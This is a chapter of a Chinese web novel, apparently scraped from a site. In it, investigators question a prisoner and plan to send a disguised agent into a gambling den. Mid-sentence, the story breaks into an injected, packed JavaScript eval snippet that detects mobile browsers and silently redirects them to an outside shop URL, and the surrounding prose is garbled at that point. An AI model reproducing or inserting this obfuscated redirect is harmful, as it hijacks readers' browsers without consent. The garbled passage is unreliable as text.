两人没有再理会身后人的嘶喊与求饶,径直走出了暗室。
沉重的门在两人身后缓缓关上。
喻清词脚步没有停下,走在狭小的长道上,直到两人彻底走出密室。
白鹤眠安静的走到她身旁,不动声色的留意着喻清词的侧脸——晦暗不明的灯光下,显得她的面容平静淡定,但她的那一只拿着账本的手,紧紧攥着,都有些微微的泛白。
推开前厅的门,月光洒在门前的石阶上,有着淡淡的冷意。
喻清词站定在前厅门前,注视着不远处,想说些什么,但最后还是深深的叹了一口气,就仿佛是想要将暗室里的所有恶毒与血腥彻底排除体外。
“手。”
白鹤眠突然开口,语气温柔但又带着不容置疑。
喻清词微微一愣,虽然疑惑的看向他,但还是乖乖抬起来一只手。
白鹤眠没有再说话,只是无奈的笑了笑,随后从衣袖中拿出一方干净的帕子,拉起喻清词的另外一只手——方才打章良的那一只,垂眸看着,一下一下的,仔细擦拭着每一根手指,动作轻缓,但又不她逃离。
烛光从他身后透了出来,在他低垂的睫毛之下落下一小块黑影。
喻清词不好意思的用另一只手摸了摸鼻尖,轻声开口:“你觉得他会说真话吗?”
“会。”白鹤眠动作不变,柔声回答了她,“但是这是这一点还不够。”
“你是说…引荐人和请帖?”
“嗯。”他将手里的帕子收了起来,但指尖仍扣着喻清词的手腕,指腹不动声色的摩挲了一下她微红的关节,“章良刚才的犹豫只是在权衡,担心我们能不能一锅端了会仙墟,又在赌我们查不到那个所谓的墟主。”
喻清词没有注意他手上的小动作,只是侧着头思考着,听着他说的分析,不由点了点头。
白鹤眠抬眼看看她,唇角淡淡勾起一个弧度,略带宠溺的说:“想将计就计?”
喻清词愣了一下,与他对视一眼,点点头道:“知我者,白老师是也。”
白鹤眠放下她的手,与她并肩而立,缓缓开口:“放长线钓大鱼。”
“没错。”
就在这时,一个人影走进前院,两人看过去,喻清词瞬间表情惊讶:“不是不是…你你你!”
只见她指着进来的人,一脸不可置信。
“小可爱,这就认不出我了?”
“你这个脸…你不是…章良吗!”
两人面前站着的,就是刚刚在暗室里被审问的忠善堂堂主章良,而如今的面前,又活生生站了一个一模一样的人。
人影“噗嗤”笑出了声,下一秒他便抬手从脸上撕下面具,喻清词熟悉的暗卫千面的脸出现在两人面前。
“小可爱,是我呀!”千面笑着看向喻清词,眼中流露着对他微微的宠溺。
喻清词不敢置信的上前,左看看右看看,眼中都是对千面的好奇与钦佩:“你的易容好厉害啊!!可不可以教教我呢!”
“哈哈哈哈,小可爱你学什么易容呀?”
“当然要学,之后肯定有用得上的地方!可以和千面姐姐一样厉害!”喻清词眼中带着期待,闪闪的看着她。
千面被她盯着有点脸红,宠溺的捏了捏她的脸:“好!等任务结束!”
白鹤眠看着两人的亲密,无奈摇了摇头,率先抬脚往外走去:“别站在这里了,去书房。”
三人缓缓往书房走去,路过膳房之时,喻清词不由得放慢了脚步。
几人站在外面,安静的看向膳房内,眸光微闪。
暖光色的烛光从窗户浅浅透了出来,隐隐的还可以听见孩子们的说话声——有的孩子在唱歌,貌似还有一些跑调;还有孩子在为他们打着节拍,但是乍一听有点乱七八糟,整个膳厅里吵吵闹闹的,但也分外热闹。
喻清词走近了一些,站在窗户边,轻轻抬手推开了一个小缝往里看。
十几个孩子围坐在两个大长桌旁,桌上摆着热气腾腾的膳食,有面条、馒头、甚至还有一些糕点等等,芍药和赵管事笑着陪伴在孩子们身边,打闹着,嬉戏着,整个膳厅洋溢着简单的幸福。
喻清词静静的看着,眼中的情绪慢慢软了下来。
“在想什么?”白鹤眠不知什么时候站到她的身边,柔声道。
喻清词没有回头,目光依旧注视着屋内的一个个笑颜,轻声:“我在想…如果今日,我们没有去忠善堂…她们即将面临的…”
后面的话她哽咽住,没有说完。
如果没有…
这个如果的结果究竟有多可怕,他们不愿想,也不敢想…
白鹤眠没有开口安慰她,只是抬手,轻轻按了按她的肩膀,温热的掌心温度透过衣裙传达,沉稳有力,温柔和煦。
“走吧。”喻清词转身,抬头笑着说道,小跑着向院外的千面赶去,“去书房继续商议我们定会救他们于水火!”
三人来到书房,墨风备好清茶后便关上了书房的门,恭敬的站在一旁等待安排。
白鹤眠坐在主位,抿了抿茶盏中的茶水,率先开口:“本王的意思是,把章良放回忠善堂。”
下位的千面皱了皱眉头,犹豫着开口:“大人,此举会不会放虎归山?”
“会有这种可能,但我们必须需要通过引荐人拿到会仙墟的请柬。”白鹤眠斩钉截铁的表示。
“要不,我去再审问一下章良,争取拿到更多引荐人的信息,这样我扮章良也可以见这个引荐人。”千面思索着提出。
“不行。”白鹤眠看了她一眼,不带丝毫犹豫的反驳了这个提议,“我们无法确定从章良口中得到的信息究竟是真是假,如果他暗中操作,那你用假的信息与引荐人碰面就一定会露馅,甚至还会有更严重的结果。”
喻清词也点头,开口分析:“确实如此,这个章良不太安稳,可是这么放回去…是不是也不太好,不确定性太大了。”
千面单手撑着脑袋,时不时轻晃着翘起的…“肥腿”,无奈道:“这也不行,那也不行,那可怎么办呢?”
“千面姐…”喻清词一言难尽的看着她,语气犹豫,“咱就说,你能不能不要用着章良的身形,坐着如此妖娆的动作…呜呜呜!”
她一边说着,一边歪着头抹泪。
千面注视着如同小戏精一般的喻清词不由笑出声,但也宠爱她似的放下了腿。
白鹤眠看着两人之间的打趣,心中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319784|193398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
微软,但还是开口打住了她俩的话题:“现在就是需要确定,我们是赌还是不赌?”
“哎!我们和赌杠上了嘛!”喻清词泄了气般的趴在桌子上,“会仙墟是赌坊,现在我们还要赌,哎!”
白鹤眠放下茶盏,看了一眼有些泄气的喻清词,指尖轻轻敲了一下桌面,安稳般的开口:“我们的赌,是谋定而后动。”
喻清词从桌上抬起了头,脑袋枕着交叠的手臂,眼珠转了转:“白老师,你有决定了吗?”
“章良要放,但不能完全放。”白鹤眠微微斜靠着椅子,语气淡淡,“他目前的罪证列举出来,抄家的结果已经是躲不掉了,但是若是只抄一个忠善堂,那对于我们完全没有意义,也不必如此周折。”
千面不知何时已经又换上了章良的人脸,托着腮看着白鹤眠,整个人看着都有些违和,喻清词是不敢置信的盯着她,但她本人倒是无所谓,开口道:“那老大,您的意思是让他戴罪立功?”
“让他戴罪是真,至于立功…”白鹤眠顿了顿,他好看的眸子眯了眯。
千面下意识一哆嗦,凑到喻清词身边,小声嘟囔:“每次他遇见这个表情,就有人要遭殃。”
“确实…”喻清词也点头,瞟了一眼白鹤眠,又看向身边的千面,“我感觉,这次遭殃的…是你!”
“啊?”
“千面。”
千面“啊”了一声还没反应过来,白鹤眠的声音就同时响起。
下方的两人一同抬头,疑惑的看向主位的白鹤眠,只见后者唇角微勾,缓缓开口吩咐道:“明日,章良就会回到忠善堂,但是他——已然病重,甚至连话都说不出一句,而你——”
他顿了顿,唇角的笑意更浓:“便是章良的心腹小妾陈氏,奉他之名,邀叙。”
喻清词的眼睛亮了亮,不由感叹道:“明修暗道,暗度陈仓!”
“聪明。”白鹤眠赞赏的看向她,对她微微点头,“墨风,一会儿去告知墨雪,让他安排章良画押认罪,并且让他说出如何找引荐人,之后那一瓶哑药,暂时性就可以,给章良灌下去。”
墨风抱拳:“属下领命。”
白鹤眠再次看向一旁面色不满的千面,再次启唇:“你作为他最爱的小妾,也是他最信任的心腹,主动去找引荐人,告诉他章良突发急症,口不能言,但这段时日有众多富商可引入会仙墟,求见面一叙。”
“计划确实很好,但…”千面皱了皱眉头,语气中带着犹豫,“我毕竟没见过哪一位引荐人,要是露馅…”
“所以才让章良只哑不杀!”喻清词瞬间开口,她已经知晓白鹤眠的计划,率先替他回答,“让章良哑就是为了让他不会乱说话,但是不影响他写出来,墨雪那边肯定会控制他写出重要内容,例如引荐人的模样、爱好等等,或者还有暗语!”
“虽然我相信墨雪的审问艺术,但是…他要是不说,啊不对,不写真话怎么办?”千面还是疑惑,语气带着担忧。
“哎!”喻清词又愣住,看向白鹤眠也带着疑惑,“千面说的也没错!”
白鹤眠看了喻清词一眼,微微挑眉,眼中带着晦暗不明的情绪,慢慢的他开口:
“本王当然…自有妙计。”